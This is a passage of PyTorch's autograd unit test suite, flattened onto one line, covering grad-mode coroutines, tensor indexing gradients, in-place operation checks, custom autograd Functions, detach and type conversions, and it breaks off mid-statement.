self.assertFalse(torch.is_grad_enabled()) with torch.enable_grad(): self.assertTrue(torch.is_grad_enabled()) enable_grad_decorator_recursive(10) self.assertTrue(torch.is_grad_enabled()) enable_grad_context_manager_recursive(10) self.assertTrue(torch.is_grad_enabled()) with torch.no_grad(): self.assertFalse(torch.is_grad_enabled()) enable_grad_decorator_recursive(10) self.assertFalse(torch.is_grad_enabled()) enable_grad_context_manager_recursive(10) self.assertFalse(torch.is_grad_enabled()) def test_set_grad_coroutines(self): @torch.no_grad() def coro_no_grad(n=10): self.assertFalse(torch.is_grad_enabled()) for i in range(n): self.assertFalse(torch.is_grad_enabled()) r = yield i self.assertFalse(torch.is_grad_enabled()) self.assertEqual(i, r) self.assertFalse(torch.is_grad_enabled()) @torch.enable_grad() def coro_enable_grad(n=10): self.assertTrue(torch.is_grad_enabled()) for i in range(n): self.assertTrue(torch.is_grad_enabled()) r = yield i self.assertTrue(torch.is_grad_enabled()) self.assertEqual(i, r) self.assertTrue(torch.is_grad_enabled()) with torch.enable_grad(): self.assertTrue(torch.is_grad_enabled()) coro, r = coro_no_grad(), None try: while True: self.assertTrue(torch.is_grad_enabled()) r = coro.send(r) self.assertTrue(torch.is_grad_enabled()) except StopIteration: pass with torch.no_grad(): self.assertFalse(torch.is_grad_enabled()) coro, r = coro_enable_grad(), None try: while True: self.assertFalse(torch.is_grad_enabled()) r = coro.send(r) self.assertFalse(torch.is_grad_enabled()) except StopIteration: pass def test_set_grad_coroutines_benign_exceptions(self): class RecoverableException(Exception): pass @torch.no_grad() def coro_no_grad(n=10): has_raised = False for i in range(n): try: self.assertFalse(torch.is_grad_enabled()) yield (-i if has_raised else i) except RecoverableException: self.assertFalse(torch.is_grad_enabled()) has_raised = True @torch.enable_grad() def coro_enable_grad(n=10): has_raised = False for i in range(n): try: self.assertTrue(torch.is_grad_enabled()) yield (-i if has_raised else i) except RecoverableException: self.assertTrue(torch.is_grad_enabled()) has_raised = True with torch.enable_grad(): coro = coro_no_grad() assert 0 == next(coro) try: while True: r = coro.throw(RecoverableException) self.assertLess(r, 0) except StopIteration: pass with torch.no_grad(): coro = coro_enable_grad() assert 0 == next(coro) try: while True: r = coro.throw(RecoverableException) self.assertLess(r, 0) except StopIteration: pass def test_set_grad_coroutines_critical_exceptions(self): class UnrecoverableException(Exception): pass class SecondaryException(Exception): pass @torch.no_grad() def coro_no_grad(n=10): has_raised = False for i in range(n): try: self.assertFalse(torch.is_grad_enabled()) yield (-i if has_raised else i) except UnrecoverableException: self.assertFalse(torch.is_grad_enabled()) raise SecondaryException @torch.enable_grad() def coro_enable_grad(n=10): has_raised = False for i in range(n): try: self.assertTrue(torch.is_grad_enabled()) yield (-i if has_raised else i) except UnrecoverableException: self.assertTrue(torch.is_grad_enabled()) raise SecondaryException with torch.enable_grad(): coro = coro_no_grad() assert 0 == next(coro) with self.assertRaises(SecondaryException): coro.throw(UnrecoverableException) with torch.no_grad(): coro = coro_enable_grad() assert 0 == next(coro) with self.assertRaises(SecondaryException): coro.throw(UnrecoverableException) def test_set_grad_coroutines_exit(self): @torch.no_grad() def coro_no_grad(state): for i in range(10): try: self.assertFalse(torch.is_grad_enabled()) yield i except GeneratorExit: self.assertFalse(torch.is_grad_enabled()) state.add('GeneratorExit') raise @torch.enable_grad() def coro_enable_grad(state): for i in range(10): try: self.assertTrue(torch.is_grad_enabled()) yield i except GeneratorExit: self.assertTrue(torch.is_grad_enabled()) state.add('GeneratorExit') raise state = set() with torch.enable_grad(): coro = coro_no_grad(state) for i in range(5): next(coro) coro.close() self.assertTrue('GeneratorExit' in state) state = set() with torch.no_grad(): coro = coro_enable_grad(state) for i in range(5): next(coro) coro.close() self.assertTrue('GeneratorExit' in state) def test_no_grad_python_function(self): """Python Functions should respect grad mode.""" x = torch.ones(5, 5, requires_grad=True) class MyOp(Function): @staticmethod def forward(self, x): return x + 1 @staticmethod def backward(self, dy): return dy with torch.no_grad(): y = MyOp.apply(x) self.assertFalse(y.requires_grad) def test_indexing(self): x = torch.arange(1., 17).view(4, 4) y = Variable(x, requires_grad=True) def compare(x, y, idx, indexed_tensor, indexed_var): indexed_var_t = indexed_var.data if not isinstance(indexed_tensor, torch.Tensor): indexed_var_t = indexed_var_t[0] self.assertEqual(indexed_tensor, indexed_var_t) indexed_var.sum().backward() expected_grad = torch.empty(x.size()).fill_(0) expected_grad[idx] = 1 self.assertEqual(y.grad, expected_grad) def check_index(x, y, idx): if y.grad is not None: with torch.no_grad(): y.grad.zero_() indexed_tensor = x[idx] indexed_var = y[idx] compare(x, y, idx, indexed_tensor, indexed_var) check_index(x, y, 1) check_index(x, y, (1, 1)) check_index(x, y, slice(1, None)) check_index(x, y, slice(None, 2)) check_index(x, y, (slice(None, 2), 2)) check_index(x, y, (slice(1, 2), 2)) check_index(x, y, (1, slice(2, None))) check_index(x, y, (slice(None, None), slice(2, None))) check_index(x, y, torch.LongTensor([0, 2])) check_index(x, y, torch.rand(4, 4).bernoulli().bool()) check_index(x, y, (Ellipsis, slice(2, None))) check_index(x, y, ([0], [0])) check_index(x, y, ([1, 2, 3], [0])) check_index(x, y, ([1, 2], [2, 1])) check_index(x, y, ([[1, 2], [3, 0]], [[0, 1], [2, 3]])) check_index(x, y, ([slice(None), [2, 3]])) check_index(x, y, ([[2, 3], slice(None)])) # advanced indexing, with less dim, or ellipsis check_index(x, y, ([0])) check_index(x, y, ([0], )) x = torch.arange(1., 49).view(4, 3, 4) y = Variable(x, requires_grad=True) check_index(x, y, (slice(None), [0], [0])) check_index(x, y, ([0], [0], slice(None))) check_index(x, y, (slice(None), [0, 1, 2], [0])) check_index(x, y, ([0, 1, 2], [0], slice(None))) check_index(x, y, (slice(None), [1, 2], [2, 1])) check_index(x, y, ([1, 2], [2, 1], slice(None))) check_index(x, y, (slice(None), [[1, 2], [2, 0]], [[0, 1], [2, 3]])) check_index(x, y, ([[1, 2], [3, 0]], [[0, 1], [2, 2]], slice(None))) check_index(x, y, (slice(None), slice(None), [2, 1])) check_index(x, y, (slice(None), [2, 1], slice(None))) check_index(x, y, ([2, 1], slice(None), slice(None))) # advanced indexing, with less dim, or ellipsis check_index(x, y, ([0], )) check_index(x, y, ([0], slice(None))) check_index(x, y, ([0], Ellipsis)) check_index(x, y, ([1, 2], [0, 1])) check_index(x, y, ([1, 2], [0, 1], Ellipsis)) check_index(x, y, (Ellipsis, [1, 2], [0, 1])) # advanced indexing, with a tensor wrapped in a variable z = torch.LongTensor([0, 1]) zv = Variable(z, requires_grad=False) seq = [z, Ellipsis] seqv = [zv, Ellipsis] if y.grad is not None: with torch.no_grad(): y.grad.zero_() indexed_tensor = x[seq] indexed_var = y[seqv] compare(x, y, seq, indexed_tensor, indexed_var) def test_indexing_duplicates(self): x = torch.arange(1., 17).view(4, 4) y = Variable(x, requires_grad=True) idx = torch.LongTensor([1, 1, 3, 2, 1, 2]) y[idx].sum().backward() expected_grad = torch.zeros(4, 4) for i in idx: expected_grad[i] += 1 self.assertEqual(y.grad, expected_grad) # with advanced indexing x = torch.arange(1., 17).view(4, 4) y = Variable(x, requires_grad=True) idx = [[1, 1, 3, 2, 1, 2], [0]] y[idx].sum().backward() expected_grad = torch.zeros(4, 4) for i in idx[0]: for j in idx[1]: expected_grad[i][j] += 1 self.assertEqual(y.grad, expected_grad) x = torch.arange(1., 17).view(4, 4) y = Variable(x, requires_grad=True) idx = [[[1, 2], [0, 0]], [[0, 1], [1, 1]]] y[idx].sum().backward() expected_grad = torch.tensor([[0., 2., 0., 0.], [1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 0., 0.]]) self.assertEqual(y.grad, expected_grad) x = torch.arange(1., 65).view(4, 4, 4) y = Variable(x, requires_grad=True) idx = [[1, 1, 1], slice(None), slice(None)] y[idx].sum().backward() expected_grad = torch.empty(4, 4, 4).zero_() expected_grad[1].fill_(3) self.assertEqual(y.grad, expected_grad) def test_index_backward_does_not_save_tensor(self): # Example from https://github.com/pytorch/pytorch/issues/24853. # if `index(tensor, indices)` saves `tensor` for backwards, then it will # trigger a version check on `tensor` during the backward pass, which # will cause the following code to error because `tensor` gets modified # by the indexing line. a = torch.tensor([1., 0, 0]) b = torch.zeros(3, requires_grad=True) tensor = b + 0 tensor[a != 0] = tensor[a != 0] tensor.backward(torch.zeros_like(tensor)) def test_volatile_deprecated(self): v = torch.autograd.torch.randn(3, 3) with warnings.catch_warnings(record=True) as w: self.assertFalse(v.volatile) self.assertIn('volatile', str(w[0].message)) def test_saved_variables_deprecated(self): class MyFunction(Function): @staticmethod def forward(ctx, tensor1, tensor2): ctx.save_for_backward(tensor1, tensor2) return tensor1 + tensor2 @staticmethod def backward(ctx, grad_output): var1, var2 = ctx.saved_variables return (grad_output, grad_output) with warnings.catch_warnings(record=True) as warns: warnings.simplefilter("always") x = torch.randn((3, 3), requires_grad=True) y = torch.randn((3, 3), requires_grad=True) MyFunction.apply(x, y).sum().backward() has_deprecated = map(lambda warn: 'deprecated' in str(warn) and 'saved_variables' in str(warn), warns) has_deprecated = reduce(lambda x, y: x or y, has_deprecated) self.assertTrue(has_deprecated) def test_requires_grad(self): x = torch.randn(5, 5) y = torch.randn(5, 5) z = torch.randn(5, 5, requires_grad=True) a = x + y self.assertFalse(a.requires_grad) b = a + z self.assertTrue(b.requires_grad) def error(): raise RuntimeError # Make sure backward isn't called on these a._backward_hooks = OrderedDict() x._backward_hooks = OrderedDict() y._backward_hooks = OrderedDict() a._backward_hooks['test'] = error x._backward_hooks['test'] = error y._backward_hooks['test'] = error b.backward(torch.ones(5, 5)) def test_requires_grad_(self): x = torch.randn(5, 5) y = torch.randn(5, 5, requires_grad=True) self.assertIs(x, x.requires_grad_()) self.assertTrue(x.requires_grad) self.assertIs(y, y.requires_grad_()) self.assertTrue(y.requires_grad) self.assertIs(x, x.requires_grad_(True)) self.assertTrue(x.requires_grad) self.assertIs(y, y.requires_grad_(True)) self.assertTrue(y.requires_grad) z = x * y self.assertRaises(RuntimeError, lambda: z.requires_grad_(False)) self.assertIs(z, z.requires_grad_()) self.assertTrue(z.requires_grad) self.assertIs(z, z.requires_grad_(True)) self.assertTrue(z.requires_grad) self.assertIs(x, x.requires_grad_(False)) self.assertFalse(x.requires_grad) self.assertIs(y, y.requires_grad_(False)) self.assertFalse(y.requires_grad) def test_requires_grad_inplace(self): a = torch.randn(5, 5) b = torch.randn(5, 5, requires_grad=True) a += b self.assertTrue(a.requires_grad) # non-leaf a = torch.randn(5, 5) + 0 b = torch.randn(5, 5, requires_grad=True) a += b self.assertTrue(a.requires_grad) def test_no_requires_grad_inplace(self): # basic case, should be able to modify inplace while requires_grad is False a = torch.randn(2, 3) a.add_(5) a.requires_grad = True a.sum().backward() self.assertEqual(a.grad, torch.ones(2, 3)) # same but with a view a = torch.randn(2, 3) b = a[:] b.add_(5) a.requires_grad = True a.sum().backward() self.assertEqual(a.grad, torch.ones(2, 3)) # should fail if requires_grad = True when we modify inplace a = torch.randn(2, 3) b = a[:] a.requires_grad = True with self.assertRaises(RuntimeError): a.add_(5) with self.assertRaises(RuntimeError): b.add_(5) def test_attribute_deletion(self): x = torch.randn((5, 5), requires_grad=True) del x.grad self.assertIsNone(x.grad) with self.assertRaises(RuntimeError): del x.data with self.assertRaises(TypeError): x.data = None with self.assertRaises(RuntimeError): del x.requires_grad with self.assertRaises(RuntimeError): del x._grad_fn with self.assertRaises(RuntimeError): del x._backward_hooks def test_duplicate_backward_root(self): a = torch.randn(5, 5, requires_grad=True) b = torch.randn(5, 5, requires_grad=True) x = a * b grad_output = torch.randn_like(x) torch.autograd.backward([x, x], [grad_output, grad_output]) self.assertEqual(a.grad, b * grad_output * 2) self.assertEqual(b.grad, a * grad_output * 2) def test_backward_no_grad(self): a = torch.randn(5, 5, requires_grad=True) b = a + 2 with self.assertRaises(RuntimeError): torch.autograd.backward([b], [None]) def test_backward_twice_with_saved_values(self): b = torch.randn(3, requires_grad=True, dtype=torch.double) c = torch.zeros(3, dtype=torch.double) c[[1, 2]] = b[[1, 1]] c.backward(torch.tensor([1, 1, 1], dtype=torch.double)) self.assertRaisesRegex(RuntimeError, 'Specify retain_graph=True', lambda: c.backward(torch.tensor([1, 1, 1], dtype=torch.double))) def test_backward_twice_retained_graph_with_saved_values(self): b = torch.randn(3, requires_grad=True, dtype=torch.double) c = torch.zeros(3, dtype=torch.double) c[[1, 2]] = b[[1, 1]] c.backward(torch.tensor([1, 1, 1], dtype=torch.double), retain_graph=True) c.backward(torch.tensor([1, 1, 1], dtype=torch.double)) def test_backward_twice_without_saved_values(self): b = torch.randn(3, requires_grad=True, dtype=torch.double) c = b + 1 c.backward(torch.tensor([1, 1, 1], dtype=torch.double)) c.backward(torch.tensor([1, 1, 1], dtype=torch.double)) def test_backward_twice_retained_graph_without_saved_values(self): b = torch.randn(3, requires_grad=True, dtype=torch.double) c = torch.zeros(3, dtype=torch.double) c[[1, 2]] = b[[1, 1]] c.backward(torch.tensor([1, 1, 1], dtype=torch.double), retain_graph=True) c.backward(torch.tensor([1, 1, 1], dtype=torch.double)) def test_backward_create_graph_warns(self): try: prev = torch.is_warn_always_enabled() torch.set_warn_always(True) b = torch.randn(3, requires_grad=True, dtype=torch.double) c = b * b with warnings.catch_warnings(record=True) as ws: c.backward(torch.ones_like(c), create_graph=True) b.grad = None self.assertTrue(any('Using backward() with create_graph=True' in str(w.message) for w in ws)) # Should not warn for grad with warnings.catch_warnings(record=True) as ws: torch.autograd.grad(c, b, torch.ones_like(c), create_graph=True) self.assertFalse(any('Using backward() with create_graph=True' in str(w.message) for w in ws)) finally: torch.set_warn_always(prev) def test_next_functions(self): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=True) a = x + y self.assertIsNotNone(a.grad_fn) next_functions = a.grad_fn.next_functions self.assertEqual(len(next_functions), 2) self.assertIsInstance(next_functions[0][0], torch._C._functions.AccumulateGrad) self.assertEqual(next_functions[0][1], 0) self.assertIsInstance(next_functions[1][0], torch._C._functions.AccumulateGrad) self.assertEqual(next_functions[1][1], 0) b = a + 5 next_functions = b.grad_fn.next_functions self.assertEqual(len(next_functions), 2) self.assertIs(next_functions[0][0], a.grad_fn) self.assertIs(next_functions[1][0], None) def test_inplace(self): x = torch.ones(5, 5, requires_grad=True) y = Variable(torch.ones(5, 5) * 4, requires_grad=True) z = x * y q = z + y w = z * y z.add_(2) # Add doesn't need it's inputs to do backward, so it shouldn't raise q.backward(torch.ones(5, 5), retain_graph=True) # Mul saves both inputs in forward, so it should raise self.assertRaises(RuntimeError, lambda: w.backward(torch.ones(5, 5))) z = x * y q = z * y r = z + y w = z.add_(y) # w is a the last expression, so this should succeed w.backward(torch.ones(5, 5), retain_graph=True) # r doesn't use the modified value in backward, so it should succeed r.backward(torch.ones(5, 5), retain_graph=True) # q uses dirty z, so it should raise self.assertRaises(RuntimeError, lambda: q.backward(torch.ones(5, 5))) with torch.no_grad(): x.grad.zero_() m = x / 2 z = m + y / 8 q = z * y r = z + y prev_version = z._version w = z.exp_() self.assertNotEqual(z._version, prev_version) r.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(x.grad, torch.ones(5, 5) / 2) w.backward(torch.ones(5, 5), retain_graph=True) self.assertEqual(x.grad, torch.empty(5, 5).fill_((1 + math.e) / 2)) self.assertRaises(RuntimeError, lambda: q.backward(torch.ones(5, 5))) leaf = torch.ones(5, 5, requires_grad=True) x = leaf.clone() x.add_(10) self.assertEqual(x, torch.ones(5, 5) * 11) # x should be still usable y = x + 2 y.backward(torch.ones(5, 5)) self.assertEqual(leaf.grad, torch.ones(5, 5)) z = x * y x.add_(2) self.assertRaises(RuntimeError, lambda: z.backward(torch.ones(5, 5))) def test_mark_non_differentiable(self): class MyFunction(Function): @staticmethod def forward(ctx, input): output = input > 0 ctx.mark_non_differentiable(output) return output @staticmethod def backward(ctx, grad_output): return (grad_output * 0).to(torch.double) x = torch.randn(5, 5, requires_grad=True) mask = MyFunction.apply(x) self.assertFalse(mask.requires_grad) y = x.masked_fill(mask, 0) y.sum().backward() def test_mark_non_differentiable_mixed(self): class MyFunction(Function): @staticmethod def forward(ctx, input): a = input + 1 b = input + 2 ctx.mark_non_differentiable(a) return a, b @staticmethod def backward(ctx, grad_a, grad_b): self.assertTrue((grad_a == 0).all()) self.assertTrue((grad_b == 1).all()) return grad_b x = torch.randn(5, 5, requires_grad=True) a, b = MyFunction.apply(x) self.assertFalse(a.requires_grad) self.assertTrue(b.requires_grad) b.sum().backward() self.assertEqual(x.grad, torch.ones(5, 5)) def test_mark_non_differentiable_none(self): # This used to segfault because MyFunction would send back null # gradients to MulBackward, which is implemented in C++. C++ # implemented functions expect incoming grad_ouptuts to be non-null. class MyFunction(Function): @staticmethod def forward(ctx, input): output = input.clone() ctx.mark_non_differentiable(output) return output @staticmethod def backward(ctx, grad_output): return None x = torch.randn(5, 5, requires_grad=True) r = MyFunction.apply(x * x) (r * x).sum().backward() def test_return_duplicate(self): class DoubleDuplicate(Function): @staticmethod def forward(ctx, x): output = x * 2 return output, output @staticmethod def backward(ctx, grad1, grad2): return grad1 * 2 + grad2 * 2 def fn(x): a, b = DoubleDuplicate.apply(x) self.assertIs(a, b) return a + b x = torch.randn(5, 5, dtype=torch.double, requires_grad=True) gradcheck(fn, [x]) gradgradcheck(fn, [x]) def test_return_duplicate_inplace(self): class DoubleInplace(Function): @staticmethod def forward(ctx, x): x.mul_(2) ctx.mark_dirty(x) return x, x @staticmethod def backward(ctx, grad1, grad2): return grad1 * 2 + grad2 * 2 def inplace_fn(x): a, b = DoubleInplace.apply(x.clone()) self.assertIs(a, b) return a + b x = torch.randn(5, 5, dtype=torch.double, requires_grad=True) gradcheck(inplace_fn, [x]) gradgradcheck(inplace_fn, [x]) # Can't modify leaf variables in-place self.assertRaises(RuntimeError, lambda: InplaceFunction.apply(x)) # Functions which modify views in-place must return only one output self.assertRaises(RuntimeError, lambda: InplaceFunction.apply(x.clone()[0])) @suppress_warnings def test_resize(self): x = torch.ones(2, 3) self.assertTrue(x.resize(3, 2).size() == (3, 2)) def _test_setitem(self, size, index): x = torch.ones(*size, requires_grad=True) y = x + 2 y_version = y._version y[index] = 2 self.assertNotEqual(y._version, y_version) y.backward(torch.ones(*size)) expected_grad = torch.ones(*size) expected_grad[index] = 0 self.assertEqual(x.grad, expected_grad) def _test_setitem_tensor(self, size, index): x = torch.ones(*size, requires_grad=True) y = x + 2 y_version = y._version value = x.new(x[index].size()).fill_(7) value.requires_grad = True y[index] = value self.assertNotEqual(y._version, y_version) y.backward(torch.ones(*size)) expected_grad_input = torch.ones(*size) expected_grad_input[index] = 0 self.assertEqual(x.grad, expected_grad_input) self.assertEqual(value.grad, torch.ones_like(value)) # case when x broadcasts to as y[1] x = torch.randn(4, requires_grad=True) y = torch.zeros(2, 3, 4) y[1] = x y.backward(torch.randn(2, 3, 4)) self.assertEqual(x.size(), x.grad.size()) def test_setitem(self): self._test_setitem((5, 5), 1) self._test_setitem((5,), 1) self._test_setitem((1,), 0) self._test_setitem((10,), [[0, 4, 2]]) self._test_setitem((5, 5), [[0, 4], [2, 2]]) self._test_setitem((5, 5, 5), [slice(None), slice(None), [1, 3]]) self._test_setitem((5, 5, 5), [slice(None), [1, 3], slice(None)]) self._test_setitem((5, 5, 5), [[1, 3], slice(None), slice(None)]) self._test_setitem((5, 5, 5), [slice(None), [2, 4], [1, 3]]) self._test_setitem((5, 5, 5), [[1, 3], [2, 4], slice(None)]) self._test_setitem_tensor((5, 5), 3) self._test_setitem_tensor((5, 5), [[0, 1], [1, 0]]) self._test_setitem_tensor((5,), 3) self._test_setitem_tensor((5,), Variable(torch.LongTensor([3]), requires_grad=False).sum()) self._test_setitem_tensor((5,), [[0, 1, 2, 3]]) self._test_setitem_tensor((5, 5, 5), [slice(None), slice(None), [1, 3]]) self._test_setitem_tensor((5, 5, 5), [slice(None), [1, 3], slice(None)]) self._test_setitem_tensor((5, 5, 5), [[1, 3], slice(None), slice(None)]) self._test_setitem_tensor((5, 5, 5), [slice(None), [2, 4], [1, 3]]) self._test_setitem_tensor((5, 5, 5), [[1, 3], [2, 4], slice(None)]) self._test_setitem_tensor((5, 5, 5), [Variable(torch.LongTensor([1, 3]), requires_grad=False), [2, 4], slice(None)]) def test_setitem_mask(self): mask = torch.BoolTensor(5, 5).bernoulli_() self._test_setitem((5, 5), Variable(mask)) self._test_setitem((5,), Variable(mask[0])) self._test_setitem((1,), Variable(mask[0, 0:1])) self._test_setitem_tensor((5, 5), Variable(mask)) self._test_setitem_tensor((5,), Variable(mask[0])) def test_select_sum(self): # both select and sum return Scalars in ATen; ensure they work together. x = torch.randn(10, dtype=torch.double, requires_grad=True) def func(x): return x.select(0, 1).sum() gradcheck(func, [x]) gradgradcheck(func, [x]) def test_diagonal_expanded_v(self): value = torch.rand([]) v_expanded = torch.tensor(value).expand(10) a = torch.rand(10, 10, dtype=torch.double, requires_grad=True) result, = torch.autograd.grad(a.diagonal(), a, v_expanded) self.assertEqual(result, torch.eye(10, dtype=torch.double) * value) def test_select_expanded_v(self): v_expanded = torch.rand(10).expand(10, 10) a = torch.rand(10, 10, 10, requires_grad=True) result, = torch.autograd.grad(a[0], a, v_expanded) expected = torch.zeros(10, 10, 10) expected[0] = v_expanded self.assertEqual(result, expected) def test_slice_expanded_v(self): v_expanded = torch.rand(10, 1).expand(2, 10, 10) a = torch.rand(10, 10, 10, requires_grad=True) result, = torch.autograd.grad(a[3:5], a, v_expanded) expected = torch.zeros(10, 10, 10) expected[3:5] = v_expanded self.assertEqual(result, expected) # TODO: opinfo this or move to unbind's test suite def test_unbind(self): stacked = torch.randn(3, 10, 10, requires_grad=True) x, y, z = stacked.unbind() grad = torch.randn(3, 10, 10) torch.autograd.backward([x, y, z], grad.unbind()) self.assertEqual(stacked.grad, grad) # check that it works with only one gradient provided (#9977) for i in range(3): stacked = torch.randn(3, 10, 10, requires_grad=True) outs = stacked.unbind() gi = grad.unbind()[i] g, = torch.autograd.grad(outs[i], stacked, gi) g_expected = torch.stack([gi if j == i else torch.zeros_like(gi) for j in range(3)], dim=0) self.assertEqual(g, g_expected) # TODO: opinfo this or move to fill's test suite def test_fill(self): root = torch.randn(4, 5, requires_grad=True) def func(root): x = root.clone() x.fill_(2) return x gradcheck(func, [root]) gradgradcheck(func, [root]) def test_unused_output(self): x = torch.randn(10, 10, requires_grad=True) outputs = x.chunk(5) o = outputs[2] o = o * 4 + 2 o.sum().backward() expected_grad = torch.zeros(10, 10) expected_grad[4:6] = 4 self.assertEqual(x.grad, expected_grad) with torch.no_grad(): x.grad.zero_() grad_output = torch.randn(2, 10) outputs = x.chunk(5) outputs[0].backward(grad_output) expected_grad = torch.zeros(10, 10) expected_grad[:2] = grad_output self.assertEqual(x.grad, expected_grad) # TODO: opinfo this or move to the sparse test suite def _test_sparse_gather(self, size_x, size_ind, dim): x = torch.randn(size_x, requires_grad=True) if len(size_ind) > 0 and len(size_x) > 0: ind = torch.randint(x.size(dim), size_ind) else: ind = torch.zeros(size_ind, dtype=torch.int64) out = torch.gather(x, dim, ind, sparse_grad=False) grad = torch.rand_like(out) out.backward(grad) grad_dense = x.grad.clone() x.grad = None out = torch.gather(x, dim, ind, sparse_grad=True) out.backward(grad) self.assertEqual(grad_dense, x.grad.to_dense()) def test_sparse_gather_dim0(self): self._test_sparse_gather((10, 10), (5, 10), 0) def test_sparse_gather_dim1(self): self._test_sparse_gather((10, 10, 5), (10, 5, 5), 1) def test_sparse_gather_dim_neg(self): self._test_sparse_gather((10, 10, 5), (10, 10, 2), -1) def test_sparse_gather_ind_scalar(self): self._test_sparse_gather((10,), (), 0) def test_sparse_gather_x_scalar(self): self._test_sparse_gather((), (2,), 0) def test_sparse_gather_both_scalar(self): self._test_sparse_gather((), (), 0) def test_gc_in_destructor(self): """ Previously, if a Function destructor triggered a garbage collection, the Variable's tp_dealloc handler would get called twice leading to a segfault. """ class CollectOnDelete(Function): def forward(self, x): return x def backward(self, grad_output): return grad_output def __del__(self): gc.collect() for _ in range(10): CollectOnDelete().forward(torch.randn(1, requires_grad=True)).backward() def test_naughty_autograd_function_attribute_access(self): class Id(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, grad_x): return grad_x with self.assertWarnsRegex(DeprecationWarning, "should not be instantiated"): f = Id() # # After raising warning, should still return an instance self.assertIsInstance(f, Id) x = torch.zeros(1, requires_grad=True) with self.assertRaisesRegex(RuntimeError, "non-static forward method is deprecated"): f(x) t = Id.apply(x) self.assertEqual(t.grad_fn.name(), "IdBackward") # THPFunction is the base class of both grad_fn and autograd functions, # which means that a lot of accessors on them may segfault. Test that we # properly error in this case. t = torch.ones(1, requires_grad=True) t._backward_hooks = dict() with self.assertRaisesRegex(RuntimeError, "Attribute '_register_hook_dict' is invalid"): f._register_hook_dict(t) with self.assertRaisesRegex(RuntimeError, "Attribute 'register_hook' is invalid"): f.register_hook(lambda x, y: None) with self.assertRaisesRegex(RuntimeError, "Attribute 'next_functions' is invalid"): f.next_functions with self.assertRaisesRegex(RuntimeError, "Attribute 'name' is invalid"): f.name() with self.assertRaisesRegex(RuntimeError, "underlying PyNode has already been deallocated"): f.metadata @unittest.expectedFailure def test_naughty_anomaly_access(self): class MyFunction(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, g): return g x = torch.zeros(1, requires_grad=True) y = MyFunction.apply(x) y.backward() y.grad_fn.metadata g = y.grad_fn del y g.metadata # this currently fails, but shouldn't def test_naughty_autograd_function_stashing_ctx(self): saved_ctx = [] class Id(Function): @staticmethod def forward(ctx, x): ctx.save_for_backward(x) return x @staticmethod def backward(ctx, grad_x): saved_ctx.append(ctx) return ctx.saved_tensors p = torch.zeros(1, requires_grad=True) loss = Id.apply(p) loss.backward(retain_graph=True) del loss # At this point in time, it complains that the graph has been freed # (which indeed true, although a somewhat indirect way of stating the # problem). self.assertRaises(RuntimeError, lambda: saved_ctx[0].saved_tensors) def test_custom_autograd_repeated_grad_grad(self): # This test failed the equality check in PR #22983; it's an interesting # and different test case worth enshrining. mult1 is not testing # anything that interesting, but mult2 is the interesting case. def mult1(x): return x.prod(dim=-1).prod(dim=-1) class Mult(torch.autograd.Function): @staticmethod def forward(ctx, x): y = mult1(x) ctx.save_for_backward(x, y) return y @staticmethod def backward(ctx, grad_output): x, y = ctx.saved_tensors return (grad_output * y)[:, None, None] / x mult2 = Mult.apply def check_gradgrad_repeated(x, y): gy, = torch.autograd.grad(y[0], x, create_graph=True) ggy_1, = torch.autograd.grad(gy[0, 0, 0], x, retain_graph=True) gy, = torch.autograd.grad(y[0], x, create_graph=True) ggy_2, = torch.autograd.grad(gy[0, 0, 0], x, retain_graph=True) self.assertEqual(ggy_1[0, 0, 1], ggy_2[0, 0, 1]) x = torch.ones(2, 4, 4).requires_grad_() check_gradgrad_repeated(x, mult1(x)) check_gradgrad_repeated(x, mult2(x)) def test_custom_autograd_no_early_free(self): # This test failed complaining that buffers had already been freed # prior to #22983. Also pretty interesting test case. class Double(torch.autograd.Function): @staticmethod def forward(ctx, x): y = x ** 2 ctx.save_for_backward(x, y) return y @staticmethod def backward(ctx, grad_output): x, _ = ctx.saved_tensors return grad_output * 2 * x # this is equivalent, but uses the output of .forward() in .backward() class Double2(Double): @staticmethod def backward(ctx, grad_output): x, y = ctx.saved_tensors return grad_output * 2 * y / x double = Double.apply double2 = Double2.apply x = torch.tensor(2).double().requires_grad_() self.assertTrue(gradcheck(double, x)) self.assertTrue(gradgradcheck(double, x)) self.assertTrue(gradcheck(double2, x)) self.assertTrue(gradgradcheck(double2, x)) y = double(x) torch.autograd.grad(y, x, create_graph=True) torch.autograd.grad(y, x) y = double2(x) torch.autograd.grad(y, x, create_graph=True) torch.autograd.grad(y, x) # should not error! def test_detach(self): x = torch.randn(10, 10, requires_grad=True) y = x + 2 y = y.detach() z = y * 4 + 2 self.assertFalse(y.requires_grad) self.assertFalse(z.requires_grad) x = torch.randn(10, 10, requires_grad=True) y = x * 2 y = y.detach() self.assertFalse(y.requires_grad) self.assertIsNone(y.grad_fn) z = x + y z.sum().backward() # This is an incorrect gradient, but we assume that's what the user # wanted. detach() is an advanced option. self.assertEqual(x.grad, torch.ones(10, 10)) # in-place detach x = torch.randn(10, 10, requires_grad=True) y = torch.randn(10, 10, requires_grad=True) a = x * 2 (y + a).sum().backward(retain_graph=True) a.detach_() self.assertFalse(a.requires_grad) (y + a).sum().backward() # this won't backprop to x self.assertEqual(x.grad, torch.ones(10, 10) * 2) self.assertEqual(y.grad, torch.ones(10, 10) * 2) # in-place deatch on a view raises an exception view = x.narrow(0, 1, 4) self.assertRaisesRegex(RuntimeError, 'view', lambda: view.detach_()) def test_detach_base(self): "detaching base does not detach view" x = torch.randn(10, 10, requires_grad=True) view = x.narrow(0, 1, 4) x.detach_() self.assertFalse(x.requires_grad) self.assertTrue(view.requires_grad) self.assertIsNotNone(view.grad_fn) self.assertIs(view._base, x) def _test_type_conversion_backward(self, t, ): fvar = Variable(t(torch.randn(5, 5).float()), requires_grad=True) fvar.double().sum().backward() self.assertEqual(fvar.grad, torch.ones_like(fvar)) self.assertEqual(type(fvar.grad), type(fvar)) dvar = Variable(t(torch.randn(5, 5).double()), requires_grad=True) dvar.float().sum().backward() self.assertEqual(dvar.grad, torch.ones_like(dvar)) self.assertEqual(type(dvar.grad), type(dvar)) def test_type_conversions(self): x = torch.randn(5, 5) self.assertIsInstance(x.float(), torch.FloatTensor) self.assertIsInstance(x.int(), torch.IntTensor) if torch.cuda.is_available(): self.assertIsInstance(x.float().cuda(), torch.cuda.FloatTensor) self.assertIsInstance(x.int().cuda(), torch.cuda.IntTensor) self.assertIsInstance(x.int().cuda().cpu(), 